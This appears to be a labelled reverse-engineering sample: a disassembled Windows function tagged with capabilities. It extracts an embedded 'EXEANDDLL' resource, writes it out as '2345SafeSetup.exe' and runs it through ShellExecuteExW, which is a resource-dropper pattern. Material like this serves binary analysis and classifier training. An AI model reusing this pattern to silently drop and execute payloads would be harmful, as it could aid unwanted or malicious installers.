Function at 0x42d800
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Write and execute a file
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x447fb0
mov eax, dword fs:[0]
push eax
sub esp, 0xc0
mov eax, dword [0x4581b0]
xor eax, esp
mov dword [esp + 0xbc], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4581b0]
xor eax, esp
push eax
lea eax, [esp + 0xd4]
mov dword fs:[0], eax
mov eax, dword [esp + 0xe4]
xor edi, edi
push edi
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, edi
je 0x42d8a0
push str.EXEANDDLL
push 0x3e9
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
cmp esi, edi
je 0x42d8a0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
cmp ebp, edi
je 0x42d8a0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
cmp esi, edi
mov dword [esp + 0x1c], esi
je 0x42d8a0
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, edi
mov dword [esp + 0x20], eax
jne 0x42d8a7
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
xor al, al
jmp 0x42db6c
mov eax, 7
mov dword [esp + 0x94], eax
mov dword [esp + 0x90], edi
mov word [esp + 0x80], di
mov dword [esp + 0xdc], edi
mov dword [esp + 0xb0], eax
mov dword [esp + 0xac], edi
mov word [esp + 0x9c], di
lea ebx, [esp + 0x98]
mov byte [esp + 0xdc], 1
call fcn.00431716
test al, al
mov ecx, ebx
jne 0x42d903
call fcn.00401950
jmp 0x42db61
cmp dword [esp + 0xac], 0
je 0x42d8f9
push 0x10
call fcn.00430878
add esp, 4
mov edx, str.2345SafeSetup.exe
lea eax, [esp + 0xb4]
call fcn.00402df0
lea ecx, [esp + 0xb4]
push ecx
lea edx, [esp + 0x9c]
push edx
lea ecx, [esp + 0x68]
mov byte [esp + 0xe4], 2
call fcn.0043095b
add esp, 8
push 0xffffffffffffffff
push 0
lea ecx, [esp + 0x84]
mov byte [esp + 0xe4], 3
call fcn.004019b0
lea ecx, [esp + 0x60]
call fcn.00401950
lea ecx, [esp + 0xb4]
mov byte [esp + 0xdc], 1
call fcn.00401950
lea eax, [esp + 0x7c]
push eax
call fcn.00430da7
add esp, 4
test al, al
je 0x42d99b
lea edi, [esp + 0x7c]
call fcn.00430e51
lea ecx, [esp + 0x98]
mov byte [esp + 0xdc], 0
call fcn.00401950
mov eax, dword [esp + 0x80]
mov edi, 8
cmp dword [esp + 0x94], edi
jae 0x42d9cb
lea eax, [esp + 0x80]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x42db56
mov edx, dword [esp + 0x20]
push 0
lea ecx, [esp + 0x18]
push ecx
push ebp
push edx
push esi
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x14], ebp
jne 0x42db56
mov eax, dword [esp + 0x18]
add eax, 0x24
push eax
lea esi, [esp + 0x9c]
call fcn.00401920
mov bl, 4
mov byte [esp + 0xdc], bl
cmp dword [esp + 0xac], 0
jne 0x42da8c
lea ecx, [esp + 0x7c]
push ecx
call fcn.0040dad0
cmp eax, 0xffffffff
je 0x42da8c
push eax
lea edx, [esp + 0x80]
push edx
xor ecx, ecx
lea esi, [esp + 0x68]
call fcn.0040db10
push 0xffffffffffffffff
push 0
lea ecx, [esp + 0xa0]
mov byte [esp + 0xe4], 5
call fcn.004019b0
mov ecx, esi
mov byte [esp + 0xdc], bl
call fcn.00401950
mov edx, 0x44d38c
lea eax, [esp + 0xb4]
call fcn.00402df0
push 0x3c
lea eax, [esp + 0x28]
push 0
push eax
call fcn.00434f20
add esp, 0xc
mov dword [esp + 0x24], 0x3c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp dword [esp + 0x94], edi
mov dword [esp + 0x2c], eax
mov dword [esp + 0x28], 0x540
jb 0x42dade
mov ecx, dword [esp + 0x80]
mov dword [esp + 0x34], ecx
jmp 0x42dae9
lea edx, [esp + 0x80]
mov dword [esp + 0x34], edx
cmp dword [esp + 0xb0], edi
jb 0x42daff
mov eax, dword [esp + 0x9c]
mov dword [esp + 0x3c], eax
jmp 0x42db0a
lea ecx, [esp + 0x9c]
mov dword [esp + 0x3c], ecx
cmp dword [esp + 0xcc], edi
jb 0x42db20
mov edx, dword [esp + 0xb8]
mov dword [esp + 0x38], edx
jmp 0x42db2b
lea eax, [esp + 0xb8]
mov dword [esp + 0x38], eax
lea ecx, [esp + 0x24]
push ecx
mov dword [esp + 0x44], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
lea ecx, [esp + 0xb4]
call fcn.00401950
lea ecx, [esp + 0x98]
call fcn.00401950
mov edx, dword [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeResource]
lea ecx, [esp + 0x7c]
call fcn.00401950
mov al, 1
mov ecx, dword [esp + 0xd4]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0xbc]
xor ecx, esp
call fcn.004337a7
add esp, 0xcc
ret 4